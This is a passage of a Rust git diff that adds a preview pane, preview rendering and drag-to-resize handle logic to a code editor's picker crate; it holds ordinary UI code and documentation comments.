+use gpui::{AppContext, Context, Entity, TaskExt, Window};
+use language::{Buffer, HighlightedText, HighlightedTextBuilder, ToPoint};
+use project::Project;
+use rope::Point;
+use ui::{ActiveTheme, IntoElement, Pixels, px};
+use util::rel_path::RelPath;
+
+pub mod render;
+
+/// The preview window of a [`Picker`](crate::Picker).
+///
+/// Why an enum? While most pickers will want to show just the buffer
+/// there will be some: like bookmarks with description that want to display
+/// other metadata too. A preview for breakpoints could be part editor part
+/// showing any condition (if any) and how many times the breakpoint got hit.
+pub struct Preview {
+    content: Entity<EditorPreview>,
+    pub(crate) layout: Layout,
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
+pub(crate) enum Layout {
+    #[default]
+    Hidden,
+    Below,
+    Right,
+}
+
+impl Preview {
+    pub fn new_editor(project: Entity<Project>, window: &mut Window, cx: &mut App) -> Self {
+        Preview {
+            content: cx.new(|cx| EditorPreview::new(project, window, cx)),
+            layout: Layout::default(),
+        }
+    }
+
+    pub fn update(&mut self, update: Update, window: &mut Window, cx: &mut impl AppContext) {
+        // self.content since this will become a match to support non editor or composite previews
+        self.content.update(cx, |content, cx| {
+            content.update(update, window, cx);
+        });
+    }
+
+    pub fn render(&self, cx: &mut App) -> impl IntoElement {
+        let layout = self.layout;
+        self.content.update(cx, |content, cx| {
+            content.render(layout, cx).into_any_element()
+        })
+    }
+
+    /// Called after a resize to let the preview do resizing logic
+    /// like scrolling
+    pub fn adjust_to_new_size(&self, window: &mut Window, cx: &mut App) {
+        self.content.update(cx, |content, cx| {
+            content.scroll_to_focus_match(window, cx);
+        })
+    }
+
+    /// Empty the preview and show a placeholder message
+    pub(crate) fn clear(&self, cx: &mut App) {
+        self.content.update(cx, |content, _| content.clear())
+    }
+}
+
+/// Identifies what a preview should show.
+pub enum PreviewSource {
+    /// The buffer is identified by its absolute path; the preview opens it.
+    ///
+    /// Used by pickers (like the file finder) that only know the path of the
+    /// match.
+    Path(PathBuf),
+    /// The buffer is provided directly.
+    ///
+    /// Used by pickers (like the text picker) that already hold the matched
+    /// buffer.
+    Buffer(Entity<Buffer>),
+    /// No buffer to show; display this message centered in the preview instead.
+    ///
+    /// Used by pickers that have a selection without a previewable buffer (like
+    /// the file finder's "create new file" entry). Built as a [`HighlightedText`]
+    /// so callers can emphasize parts of the message (e.g. a file path).
+    Message(HighlightedText),
+}
+
+pub struct MatchLocation {
+    /// The location of the match (for highlighting)
+    pub anchor_range: Range<language::Anchor>,
+    /// The location of the match as an offset (for scrolling)
+    pub range: Range<usize>,
+}
+
+/// An update for the [`Preview`] window of a [`Picker`](crate::Picker).
+pub struct Update {
+    /// Where to source the buffer to preview.
+    pub source: PreviewSource,
+    /// The location to highlight and scroll to, if any.
+    pub match_location: Option<MatchLocation>,
+}
+
+impl Update {
+    /// Preview the buffer at `abs_path` without highlighting anything.
+    pub fn from_path(abs_path: PathBuf) -> Self {
+        Self {
+            source: PreviewSource::Path(abs_path),
+            match_location: None,
+        }
+    }
+
+    /// Show `message` centered in the preview instead of a buffer.
+    ///
+    /// The message is a [`HighlightedText`], so parts of it (e.g. a file path)
+    /// can be emphasized.
+    pub fn message(message: HighlightedText) -> Self {
+        Self {
+            source: PreviewSource::Message(message),
+            match_location: None,
+        }
+    }
+
+    /// Preview `buffer`, highlighting and scrolling to `highlight`.
+    pub fn from_buffer(buffer: Entity<Buffer>, highlight: MatchLocation) -> Self {
+        Self {
+            source: PreviewSource::Buffer(buffer),
+            match_location: Some(highlight),
+        }
+    }
+}
+
+struct SearchMatchLineHighlight;
+
+pub struct EditorPreview {
+    project: Entity<Project>,
+    current_path: Option<Arc<RelPath>>,
+    /// When set show a text message instead of a preview
+    message: Option<HighlightedText>,
+    preview_editor: Entity<Editor>,
+}
+
+impl EditorPreview {
+    fn new(project: Entity<Project>, window: &mut Window, cx: &mut Context<Self>) -> Self {
+        let preview_editor = cx.new(|cx: &mut Context<Editor>| {
+            let capability = language::Capability::ReadWrite; // Later narrowed per buffer
+            let multi_buffer = cx.new(|_| MultiBuffer::without_headers(capability));
+            let mut editor = Editor::for_multibuffer(multi_buffer, None, window, cx);
+
+            // We want editing to happen in the multibuffer not in the modal. The editor acts
+            // as one big <send to multibuffer> button.
+            editor.set_read_only(true);
+            editor.set_input_enabled(false);
+            editor.scroll_manager.set_forbid_vertical_scroll(true);
+            editor.disable_scrollbars_and_minimap(window, cx);
+            editor.disable_inline_diagnostics();
+            editor.disable_diagnostics(cx);
+            editor.disable_expand_excerpt_buttons(cx);
+            editor.disable_mouse_wheel_zoom();
+            editor.set_show_gutter(true, cx); // needed for line numbers
+            editor.set_show_line_numbers(true, cx);
+            editor.set_show_breakpoints(false, cx);
+            editor.set_show_bookmarks(false, cx);
+            editor.set_show_code_actions(false, cx);
+            editor.set_show_runnables(false, cx);
+            editor.set_show_git_diff_gutter(false, cx);
+            editor.set_show_wrap_guides(false, cx);
+            editor.set_show_indent_guides(false, cx);
+            editor.set_show_cursor_when_unfocused(true, cx);
+            editor.set_soft_wrap_mode(language::language_settings::SoftWrap::None, cx);
+            editor
+        });
+
+        let mut this = Self {
+            project,
+            preview_editor,
+            current_path: None,
+            message: None,
+        };
+        this.clear(); // picker starts with no results.
+        this
+    }
+
+    fn clear(&mut self) {
+        let mut message = HighlightedTextBuilder::default();
+        message.push_plain("No results to preview");
+        self.message = Some(message.build());
+    }
+
+    fn update(&mut self, update: Update, window: &mut Window, cx: &mut Context<Self>) {
+        let Update {
+            source,
+            match_location: highlight,
+        } = update;
+
+        match source {
+            PreviewSource::Path(abs_path) => {
+                self.update_from_path(abs_path, highlight, window, cx);
+            }
+            PreviewSource::Buffer(buffer) => {
+                self.update_from_buffer(buffer, highlight, window, cx);
+                cx.notify();
+            }
+            PreviewSource::Message(message) => {
+                self.message = Some(message);
+                cx.notify();
+            }
+        }
+    }
+
+    fn update_from_path(
+        &mut self,
+        abs_path: PathBuf,
+        highlight: Option<MatchLocation>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let open_task = self.project.update(cx, |project, cx| {
+            match project.project_path_for_absolute_path(&abs_path, cx) {
+                Some(project_path) => {
+                    if let Some(buffer) = project.get_open_buffer(&project_path, cx) {
+                        Task::ready(Ok(buffer))
+                    } else {
+                        project.open_buffer(project_path, cx)
+                    }
+                }
+                None => project.open_local_buffer(&abs_path, cx),
+            }
+        });
+
+        cx.spawn_in(window, async move |this, cx| {
+            let buffer = open_task.await?;
+            this.update_in(cx, |this, window, cx| {
+                this.update_from_buffer(buffer, highlight, window, cx);
+                cx.notify();
+            })?;
+            anyhow::Ok(())
+        })
+        .detach_and_log_err(cx);
+    }
+
+    fn update_from_buffer(
+        &mut self,
+        buffer: Entity<Buffer>,
+        highlight: Option<MatchLocation>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.message = None; // show the preview editor
+        self.current_path = buffer.read(cx).file().map(|file| file.path().clone());
+
+        const MIN_LINE_HEIGHT_PX: Pixels = px(6.0);
+        const MARGIN: u32 = 2; // scrolling can offset things;
+        let max_rows = (window.viewport_size().height / MIN_LINE_HEIGHT_PX).ceil() as u32 + MARGIN;
+
+        self.preview_editor.update(cx, |editor, cx| {
+            let focus_row = highlight
+                .as_ref()
+                .map(|hl| {
+                    hl.anchor_range
+                        .start
+                        .to_point(&buffer.read(cx).text_snapshot())
+                        .row
+                })
+                .unwrap_or_default()
+                .min(max_rows);
+
+            let multi_buffer = editor.buffer().clone();
+            multi_buffer.update(cx, |multi_buffer, cx| {
+                multi_buffer.clear(cx);
+                multi_buffer.set_excerpts_for_buffer(
+                    buffer,
+                    [Point::new(focus_row, 0)..Point::new(focus_row, 0)],
+                    max_rows,
+                    cx,
+                );
+            });
+
+            editor.clear_row_highlights::<SearchMatchLineHighlight>();
+            editor.clear_background_highlights(HighlightKey::PickerPreview, cx);
+
+            let Some(highlight) = highlight else {
+                return;
+            };
+
+            let mb = multi_buffer.read(cx).snapshot(cx);
+            let Some(range) = mb
+                .anchor_in_excerpt(highlight.anchor_range.start)
+                .zip(mb.anchor_in_excerpt(highlight.anchor_range.end))
+                .map(|(start, end)| start..end)
+            else {
+                return;
+            };
+
+            editor.highlight_rows::<SearchMatchLineHighlight>(
+                range.clone(),
+                |cx| cx.theme().colors().editor_active_line_background,
+                RowHighlightOptions::default(),
+                cx,
+            );
+
+            editor.highlight_background(
+                HighlightKey::PickerPreview,
+                &[range],
+                |_, theme| theme.colors().search_match_background,
+                cx,
+            );
+        });
+        self.scroll_to_focus_match(window, cx);
+    }
+
+    /// Keep the scroll as far left as possible while showing the match.
+    /// Vertically center the match as much as possible
+    fn scroll_to_focus_match(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.preview_editor.update(cx, |editor, cx| {
+            let display_snapshot = editor.display_snapshot(cx);
+            let buffer_snapshot = display_snapshot.buffer_snapshot();
+            let search_range = buffer_snapshot.anchor_before(multi_buffer::MultiBufferOffset(0))
+                ..buffer_snapshot.anchor_after(buffer_snapshot.len());
+
+            // There is at most one highlighted match in the preview, so take the
+            // first background highlight range as the match to focus.
+            let Some((range, _)) = editor
+                .background_highlights_in_range(search_range, &display_snapshot, cx.theme())
+                .into_iter()
+                .next()
+            else {
+                return;
+            };
+
+            let target_row = range.start.row().0 as f64;
+            let centered_y = editor
+                .visible_line_count()
+                .map_or(target_row, |visible_lines| {
+                    (target_row - (visible_lines - 1.) / 2.).max(0.)
+                });
+
+            let start_column = range.start.column() as f64;
+            let end_column = range.end.column() as f64;
+            let centered_x = editor.visible_column_count().map_or(0., |visible_columns| {
+                let min_x_for_end = (end_column - visible_columns + 1.).max(0.);
+                min_x_for_end.min(start_column)
+            });
+
+            editor.scroll_manager.set_forbid_vertical_scroll(false);
+            editor.set_scroll_position(gpui::Point::new(centered_x, centered_y), window, cx);
+            editor.scroll_manager.set_forbid_vertical_scroll(true);
+        })
+    }
+}
diff --git a/crates/picker/src/preview/render.rs b/crates/picker/src/preview/render.rs
new file mode 100644
index 00000000000000..4733c8ebf5b1f0
--- /dev/null
+++ b/crates/picker/src/preview/render.rs
@@ -0,0 +1,82 @@
+use gpui::{Action, StyledText};
+use language::HighlightedText;
+use ui::prelude::*;
+
+use crate::ToMultiBuffer;
+
+use crate::preview;
+use crate::preview::EditorPreview;
+
+impl EditorPreview {
+    pub(crate) fn render(&self, layout: preview::Layout, cx: &App) -> impl IntoElement {
+        match layout {
+            preview::Layout::Below => self.render_preview_below(cx).into_any_element(),
+            preview::Layout::Right => self.render_preview_right(cx).into_any_element(),
+            preview::Layout::Hidden => gpui::Empty.into_any_element(),
+        }
+    }
+}
+
+impl EditorPreview {
+    pub(crate) fn render_preview_right(&self, cx: &App) -> impl IntoElement {
+        v_flex()
+            .size_full()
+            .rounded_t_md()
+            .rounded_b_md()
+            .child(self.render_message_or_editor(cx))
+    }
+
+    fn render_preview_below(&self, cx: &App) -> impl IntoElement {
+        v_flex()
+            .size_full()
+            .rounded_b_md()
+            .child(self.render_message_or_editor(cx))
+    }
+
+    fn render_message_or_editor(&self, cx: &App) -> impl IntoElement {
+        if let Some(message) = &self.message {
+            self.render_message(message, cx).into_any_element()
+        } else {
+            debug_assert!(!self.preview_editor.read(cx).is_empty(cx));
+            div()
+                .flex_1()
+                .overflow_hidden()
+                .child(self.editor_as_giant_button())
+                .into_any_element()
+        }
+    }
+
+    fn render_message(&self, message: &HighlightedText, cx: &App) -> impl IntoElement {
+        // `with_highlights` inherits the container's text style (set below),
+        // while keeping the message's own highlights (e.g. the file path in
+        // the file finder's "Create new file" entry).
+        let content = StyledText::new(message.text.clone())
+            .with_highlights(message.highlights.iter().cloned())
+            .into_any_element();
+        v_flex()
+            .size_full()
+            .items_center()
+            .justify_center()
+            .font_ui(cx)
+            .text_ui(cx)
+            .text_color(Color::Muted.color(cx))
+            .child(content)
+    }
+
+    fn editor_as_giant_button(&self) -> impl IntoElement {
+        div()
+            .relative()
+            .size_full()
+            .child(self.preview_editor.clone())
+            .child(
+                div()
+                    .id("picker-preview-editor")
+                    .absolute()
+                    .inset_0()
+                    .occlude()
+                    .on_click(|_, window, cx| {
+                        window.dispatch_action(ToMultiBuffer.boxed_clone(), cx);
+                    }),
+            )
+    }
+}
diff --git a/crates/picker/src/preview/state.rs b/crates/picker/src/preview/state.rs
new file mode 100644
index 00000000000000..e69de29bb2d1d6
diff --git a/crates/picker/src/render.rs b/crates/picker/src/render.rs
new file mode 100644
index 00000000000000..7dd9bed62a0c01
--- /dev/null
+++ b/crates/picker/src/render.rs
@@ -0,0 +1,370 @@
+use gpui::canvas;
+use settings::Settings;
+use theme_settings::ThemeSettings;
+use ui::{
+    ActiveTheme, Color, Context, Disableable, DocumentationAside, DocumentationSide, FluentBuilder,
+    InteractiveElement, IntoElement, Label, LabelCommon, ListItem, ListItemSpacing, ParentElement,
+    Render, ScrollAxes, Scrollbars, Styled, StyledExt, Window, WithScrollbar, div, h_flex,
+    rems_from_px, utils::WithRemSize, v_flex,
+};
+
+use crate::shape::Shape;
+use crate::{
+    ElementContainer, Picker, PickerDelegate, PickerEditorPosition, Preview,
+    head::Head,
+    preview::Layout,
+    render::window_controls::{Bottom, Left, LeftCorner, Middle, Right, RightCorner},
+};
+use crate::{persistence, preview};
+
+pub mod window_controls;
+
+impl<D: PickerDelegate> Render for Picker<D> {
+    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        self.finish_any_completed_resize(window, cx);
+
+        let content = match &self.preview {
+            Some(
+                preview @ Preview {
+                    layout: Layout::Below,
+                    ..
+                },
+            ) => self
+                .render_with_preview_below(preview, window, cx)
+                .into_any_element(),
+            Some(
+                preview @ Preview {
+                    layout: Layout::Right,
+                    ..
+                },
+            ) => self
+                .render_with_preview_right(preview, window, cx)
+                .into_any_element(),
+            Some(Preview {
+                layout: Layout::Hidden,
+                ..
+            })
+            | None => self.render_results(window, cx).into_any_element(),
+        };
+
+        // The border, background and rounding wrap the whole picker (results and
+        // preview together). When there's a preview, clip the contents so its
+        // corners follow the rounded border. Avoid clipping otherwise, so a
+        // documentation aside (which is positioned outside the picker) isn't cut
+        // off.
+        let has_preview = self.preview.is_some();
+        let content = div()
+            .when(self.is_modal, |this| this.elevation_3(cx))
+            .when(has_preview, |this| this.overflow_hidden())
+            .child(content);
+
+        let layout = self.preview_layout().unwrap_or(Layout::Hidden);
+
+        // Embedded pickers are not resizable
+        div().relative().child(content).when(self.is_modal, |this| {
+            // While resizing offset the (parent-centered) container
+            this.left(self.shape.horizontal_offset(window))
+                .child(self.render_resize(Left, window, cx))
+                .child(self.render_resize(Right(layout), window, cx))
+                .child(self.render_resize(Bottom(layout), window, cx))
+                .child(self.render_resize(LeftCorner(layout), window, cx))
+                .child(self.render_resize(RightCorner(layout), window, cx))
+        })
+    }
+}
+
+impl<D: PickerDelegate> Picker<D> {
+    pub(crate) fn render_results(
+        &self,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        let ui_font_size = ThemeSettings::get_global(cx).ui_font_size(cx);
+        let window_size = window.viewport_size();
+        let rem_size = window.rem_size();
+        let is_wide_window = window_size.width / rem_size > rems_from_px(800.).0;
+
+        let aside = self.delegate.documentation_aside(window, cx);
+
+        let editor_position = self.delegate.editor_position();
+        let picker_bounds = self.picker_bounds.clone();
+        let menu = v_flex()
+            .key_context("Picker")
+            .relative()
+            .map(|this| {
+                self.shape.apply_results_size(
+                    self.preview_layout(),
+                    &self.size_bounds,
+                    self.vertical_padding(),
+                    this,
+                    window,
+                )
+            })
+            .child(
+                canvas(
+                    move |bounds, _window, _cx| {
+                        picker_bounds.set(Some(bounds));
+                    },
+                    |_bounds, _state, _window, _cx| {},
+                )
+                .size_full()
+                .absolute()
+                .top_0()
+                .left_0(),
+            )
+            .on_action(cx.listener(Self::select_next))
+            .on_action(cx.listener(Self::select_previous))
+            .on_action(cx.listener(Self::editor_move_down))
+            .on_action(cx.listener(Self::editor_move_up))
+            .on_action(cx.listener(Self::select_first))
+            .on_action(cx.listener(Self::select_last))
+            .on_action(cx.listener(Self::cancel))
+            .on_action(cx.listener(Self::confirm))
+            .on_action(cx.listener(Self::secondary_confirm))
+            .on_action(cx.listener(Self::confirm_completion))
+            .on_action(cx.listener(Self::confirm_input))
+            .on_action(cx.listener(Self::toggle_preview))
+            .on_action(cx.listener(Self::set_preview_right))
+            .on_action(cx.listener(Self::set_preview_below))
+            .on_action(cx.listener(Self::set_preview_hidden))
+            .on_action(cx.listener(Self::toggle_actions_menu))
+            .children(match &self.head {
+                Head::Editor(editor) => {
+                    if editor_position == PickerEditorPosition::Start {
+                        Some(h_flex().w_full().child(
+                            div().flex_1().child(self.delegate.render_editor(
+                                &editor.clone(),
+                                window,
+                                cx,
+                            )),
+                        ))
+                    } else {
+                        None
+                    }
+                }
+                Head::Empty(empty_head) => Some(h_flex().child(empty_head.clone())),
+            })
+            .when(self.delegate.match_count() > 0, |el| {
+                el.child(
+                    v_flex()
+                        .id("element-container")
+                        .relative()
+                        .flex_grow_1()
+                        .min_h_0()
+                        .when_some(
+                            self.shape.results_max_height(
+                                &self.size_bounds,
+                                self.vertical_padding(),
+                                window,
+                            ),
+                            |this, max_height| this.max_h(max_height),
+                        )
+                        .overflow_hidden()
+                        .children(self.delegate.render_header(window, cx))
+                        .child(self.render_element_container(cx))
+                        .when(self.show_scrollbar, |this| {
+                            let base_scrollbar_config = Scrollbars::new(ScrollAxes::Vertical);
+
+                            this.map(|this| match &self.element_container {
+                                ElementContainer::List(state) => this.custom_scrollbars(
+                                    base_scrollbar_config.tracked_scroll_handle(state),
+                                    window,
+                                    cx,
+                                ),
+                                ElementContainer::UniformList(state) => this.custom_scrollbars(
+                                    base_scrollbar_config.tracked_scroll_handle(state),
+                                    window,
+                                    cx,
+                                ),
+                            })
+                        }),
+                )
+            })
+            .when(self.delegate.match_count() == 0, |el| {
+                el.when_some(self.delegate.no_matches_text(window, cx), |el, text| {
+                    el.child(
+                        v_flex().flex_grow_1().py_2().child(
+                            ListItem::new("empty_state")
+                                .inset(true)
+                                .spacing(ListItemSpacing::Sparse)
+                                .disabled(true)
+                                .child(Label::new(text).color(Color::Muted)),
+                        ),
+                    )
+                })
+            })
+            .children(self.render_footer(window, cx))
+            .children(match &self.head {
+                Head::Editor(editor) => {
+                    if editor_position == PickerEditorPosition::End {
+                        Some(self.delegate.render_editor(&editor.clone(), window, cx))
+                    } else {
+                        None
+                    }
+                }
+                Head::Empty(empty_head) => Some(div().child(empty_head.clone())),
+            });
+
+        let Some(aside) = aside else {
+            return menu;
+        };
+
+        let render_aside = |aside: DocumentationAside, cx: &mut Context<Self>| {
+            WithRemSize::new(ui_font_size)
+                .occlude()
+                .elevation_2(cx)
+                .w_full()
+                .p_2()
+                .overflow_hidden()
+                .when(is_wide_window, |this| this.max_w_96())
+                .when(!is_wide_window, |this| this.max_w_48())
+                .child((aside.render)(cx))
+        };
+
+        if is_wide_window {
+            let aside_index = self.delegate.documentation_aside_index();
+            let picker_bounds = self.picker_bounds.get();
+            let item_bounds =
+                aside_index.and_then(|ix| self.item_bounds.borrow().get(&ix).copied());
+
+            let item_position = match (picker_bounds, item_bounds) {
+                (Some(picker_bounds), Some(item_bounds)) => {
+                    let relative_top = item_bounds.origin.y - picker_bounds.origin.y;
+                    let height = item_bounds.size.height;
+                    Some((relative_top, height))
+                }
+                _ => None,
+            };
+
+            div()
+                .relative()
+                .child(menu)
+                // Only render the aside once we have bounds to avoid flicker
+                .when_some(item_position, |this, (top, height)| {
+                    this.child(
+                        h_flex()
+                            .absolute()
+                            .when(aside.side == DocumentationSide::Left, |el| {
+                                el.right_full().mr_1()
+                            })
+                            .when(aside.side == DocumentationSide::Right, |el| {
+                                el.left_full().ml_1()
+                            })
+                            .top(top)
+                            .h(height)
+                            .child(render_aside(aside, cx)),
+                    )
+                })
+        } else {
+            v_flex()
+                .w_full()
+                .gap_1()
+                .justify_end()
+                .child(render_aside(aside, cx))
+                .child(menu)
+        }
+    }
+
+    fn render_with_preview_below(
+        &self,
+        preview: &Preview,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        h_flex()
+            .relative()
+            .child(
+                v_flex()
+                    .h(self
+                        .shape
+                        .height(Some(preview::Layout::Below), &self.size_bounds, window))
+                    .child(
+                        div()
+                            .h(self.shape.results_height(
+                                preview::Layout::Below,
+                                &self.size_bounds,
+                                window,
+                            ))
+                            .overflow_hidden()
+                            .child(self.render_results(window, cx)),
+                    )
+                    .child(
+                        div()
+                            .h(self.shape.preview_height(
+                                preview::Layout::Below,
+                                &self.size_bounds,
+                                window,
+                            ))
+                            .border_t_1()
+                            .border_color(cx.theme().colors().border_variant)
+                            .child(preview.render(cx)),
+                    ),
+            )
+            .child(self.render_resize(window_controls::Middle(preview.layout), window, cx))
+    }
+
+    pub(crate) fn render_with_preview_right(
+        &self,
+        preview: &Preview,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        v_flex()
+            .relative()
+            .child(
+                h_flex()
+                    .h(self
+                        .shape
+                        .height(Some(Layout::Right), &self.size_bounds, window))
+                    .child(
+                        div()
+                            .flex_1()
+                            .h_full()
+                            .overflow_hidden()
+                            .child(self.render_results(window, cx)),
+                    )
+                    .child(
+                        div()
+                            .w(self
+                                .shape
+                                .preview_width(Layout::Right, &self.size_bounds, window))
+                            .map(|this| {
+                                self.shape.apply_height(
+                                    Some(Layout::Right),
+                                    &self.size_bounds,
+                                    this,
+                                    window,
+                                )
+                            })
+                            .border_l_1()
+                            .border_color(cx.theme().colors().border_variant)
+                            .overflow_hidden()
+                            .child(preview.render(cx)),
+                    ),
+            )
+            .child(self.render_resize(Middle(Layout::Right), window, cx))
+    }
+
+    fn finish_any_completed_resize(
+        &mut self,
+        window: &mut Window,
+        cx: &mut Context<'_, Picker<D>>,
+    ) {
+        if let Shape::Resizing(pos) = self.shape
+            && !cx.has_active_drag()
+        {
+            let centered = Shape::centered_and_relative(pos, self.preview_layout(), window);
+            persistence::store_shape_for_this_layout(
+                D::name(),
+                self.preview_layout(),
+                centered,
+                window,
+                cx,
+            );
+            self.shape = Shape::HorizontallyCentered(centered);
+            if let Some(preview) = &mut self.preview {
+                preview.adjust_to_new_size(window, cx);
+            }
+        }
+    }
+}
diff --git a/crates/picker/src/render/window_controls.rs b/crates/picker/src/render/window_controls.rs
new file mode 100644
index 00000000000000..a604a600e1f279
--- /dev/null
+++ b/crates/picker/src/render/window_controls.rs
@@ -0,0 +1,501 @@
+//! This holds the resize logic for picker windows.
+//!
+//! # Resizing basics:
+//! We render a resize handle (`render_resize`) for each side and corner that
+//! can be dragged. The `Side` trait implementations (`Left`, `Right`,
+//! `Bottom`, `LeftCorner`, `RightCorner`, ...) determine where each handle is
+//! placed and how a drag changes the picker's shape.
+//!
+//! If there is a preview to the right or below there is an additional resize
+//! handle on the divider between the results and the preview.
+//!
+//! The resize's are div's aka rectangles that are "placed" by specifying the
+//! position of their sides. When hovering over these the cursor is changed
+//! so it is clear you can resize.
+//!
+//! We set up two callbacks in each
+//!  - on_drag: fires when the user starts dragging
+//!  - on_drag_move: runs every frame while the user is dragging
+//!
+//! The actual shape of the resize is updated in `on_drag_move`. When a preview
+//! is active dragging the outside edge modifies the
+//!
+//! # Resizing persistence
+//! Each picker has a 'fixed' size and tracks it's last resize. When manually
+//! resized the window size is stored as a percentage of the viewport
+//! width/height. The size is serialized as soon as the use lets go of the drag.
+//!
+//! # Diagrams & Details
+//! ```txt
+//! ================ CHANGING WIDTH ======================================
+//! The picker position stays constant during the drag but it is centered
+//! directly after. (when the user lets go)
+//! ================ DRAGGING RIGHT ======================================
+//!
+//! ------------
+//! |    |     |  <- dragging this edge right
+//! |    |     |
+//! ------------
+//! leads to:
+//! --------------------
+//! |    |             |  <- dragged on this edge
+//! |    |  preview    |
+//! --------------------
+//!
+//! self.w_preview = w_preview + drag
+//! ================ DRAGGING LEFT =======================================
+//!
+//!                       ------------
+//! dragging this left -> |   |      |
+//!                       |   |      |
+//!                       ------------
+//! leads to:
+//! -------------------
+//! | list     |      |
+//! |          |      |
+//! -------------------
+//! ```
+
+use std::{any::type_name, marker::PhantomData};
+
+use gpui::{ClickEvent, Context, CursorStyle, DragMoveEvent, MouseButton, Point, Styled, Window};
+use ui::prelude::*;
+
+use crate::shape::{Centered, PositionAndShape, Shape, SizeBounds};
+use crate::{Picker, PickerDelegate, preview::Layout};
+
+pub struct DragPreview;
+
+impl Render for DragPreview {
+    fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+        div()
+    }
+}
+
+#[derive(Clone, Copy)]
+struct ResizeDrag<S> {
+    shape_before: PositionAndShape,
+    phantom_data: PhantomData<S>,
+    mouse_pos_before: Point<Pixels>,
+}
+
+pub(crate) trait Side: Copy + 'static {
+    fn id() -> &'static str {
+        type_name::<Self>()
+    }
+    /// The thickness of the grab strip along the picker's edge.
+    ///
+    /// Expressed in rems so it scales with the user's UI font size.
+    fn handle_width(window: &Window) -> Pixels {
+        rems(0.375).to_pixels(window.rem_size())
+    }
+    fn handle_offset(window: &Window) -> Pixels {
+        Self::handle_width(window) / 2.0
+    }
+    /// How far the grab strip is inset from the top and bottom corners so it doesn't overlap the
+    /// corner resize handles.
+    fn corner_clearance(window: &Window) -> Pixels {
+        rems(1.125).to_pixels(window.rem_size())
+    }
+    /// The resize cursor for this side's handle.
+    fn cursor(&self) -> CursorStyle;
+    /// Places and sizes the grab strip along this side's edge.
+    fn position(
+        &self,
+        div: gpui::Stateful<Div>,
+        shape: PositionAndShape,
+        window: &Window,
+    ) -> gpui::Stateful<Div>;
+    fn current_position_and_shape(
+        &self,
+        shape_before: PositionAndShape,
+        mouse_movement: Point<Pixels>,
+    ) -> PositionAndShape;
+    fn clamp(
+        &self,
+        working: &mut PositionAndShape,
+        bounds: &SizeBounds,
+        layout: Option<Layout>,
+        window: &Window,
+    );
+    fn revert_to_default_size(&self, shape: &mut Shape, default: &Centered, window: &Window);
+}
+
+#[derive(Clone, Copy)]
+pub(crate) struct Left;
+impl Side for Left {
+    fn cursor(&self) -> CursorStyle {
+        CursorStyle::ResizeColumn
+    }
+    fn position(
+        &self,
+        div: gpui::Stateful<Div>,
+        _: PositionAndShape,
+        window: &Window,
+    ) -> gpui::Stateful<Div> {
+        div.top_0()
+            .bottom(Self::corner_clearance(window))
+            .w(Self::handle_width(window))
+            .left(-Self::handle_offset(window))
+    }
+    fn current_position_and_shape(
+        &self,
+        mut shape_before: PositionAndShape,
+        mouse_movement: Point<Pixels>,
+    ) -> PositionAndShape {
+        shape_before.left += mouse_movement.x;
+        shape_before
+    }
+    fn clamp(
+        &self,
+        working: &mut PositionAndShape,
+        bounds: &SizeBounds,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        bounds.clamp_left_edge(working, layout, window);
+        bounds.clamp_divider(working, layout, window);
+    }
+    fn revert_to_default_size(&self, shape: &mut Shape, default: &Centered, _window: &Window) {
+        shape.reset_width(default);
+    }
+}
+#[derive(Clone, Copy)]
+pub(crate) struct Right(pub(crate) Layout);
+impl Side for Right {
+    fn cursor(&self) -> CursorStyle {
+        CursorStyle::ResizeColumn
+    }
+    fn position(
+        &self,
+        div: gpui::Stateful<Div>,
+        _: PositionAndShape,
+        window: &Window,
+    ) -> gpui::Stateful<Div> {
+        div.top_0()
+            .bottom(Self::corner_clearance(window))
+            .w(Self::handle_width(window))
+            .right(-Self::handle_offset(window))
+    }
+    fn current_position_and_shape(
+        &self,
+        mut shape_before: PositionAndShape,
+        mouse_movement: Point<Pixels>,
+    ) -> PositionAndShape {
+        if let Layout::Right = self.0 {
+            shape_before.preview += mouse_movement.x;
+        }
+        shape_before.right += mouse_movement.x;
+        shape_before
+    }
+    fn clamp(
+        &self,
+        working: &mut PositionAndShape,
+        bounds: &SizeBounds,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
+        bounds.clamp_right_edge(working, layout, window);
+        bounds.clamp_divider(working, layout, window);
+    }
+    fn revert_to_default_size(&self, shape: &mut Shape, default: &Centered, _window: &Window) {
+        shape.reset_width(default);
+    }
+}
+
+#[derive(Clone, Copy)]
+pub(crate) struct Middle(pub(crate) Layout);
+impl Side for Middle {
+    fn cursor(&self) -> CursorStyle {
+        match self.0 {
+            Layout::Hidden => {
+                unreachable!("This resize handle is not drawn when the preview is hidden")
+            }
+            Layout::Below => CursorStyle::ResizeRow,
+            Layout::Right => CursorStyle::ResizeColumn,
+        }
+    }
+
+    fn position(
+        &self,
+        div: gpui::Stateful<Div>,
+        shape: PositionAndShape,
+        window: &Window,
+    ) -> gpui::Stateful<Div> {
+        match self.0 {
+            Layout::Hidden => {
+                unreachable!("This resize handle is not drawn when the preview is hidden")
+            }
+            Layout::Below => div
+                .left(Self::corner_clearance(window))
+                .right(Self::corner_clearance(window))
+                .h(Self::handle_width(window))
+                .bottom(shape.preview - Self::handle_offset(window)),
+            Layout::Right => div
+                .top_0()
+                .bottom(Self::corner_clearance(window))
+                .w(Self::handle_width(window))
+                .right(shape.preview - Self::handle_offset(window)),
+        }
+    }
+
+    fn current_position_and_shape(
+        &self,
+        mut shape_before: PositionAndShape,
+        mouse_movement: Point<Pixels>,
+    ) -> PositionAndShape {
+        match self.0 {
+            Layout::Hidden => {
+                unreachable!("This resize handle is not drawn when the preview is hidden")
+            }
+            Layout::Below => shape_before.preview -= mouse_movement.y,
+            Layout::Right => shape_before.preview -= mouse_movement.x,
+        }
+        shape_before
+    }
+    fn clamp(
+        &self,
+        working: &mut PositionAndShape,
+        bounds: &SizeBounds,
+        layout: Option<Layout>,
+        window: &Window,
+    ) {
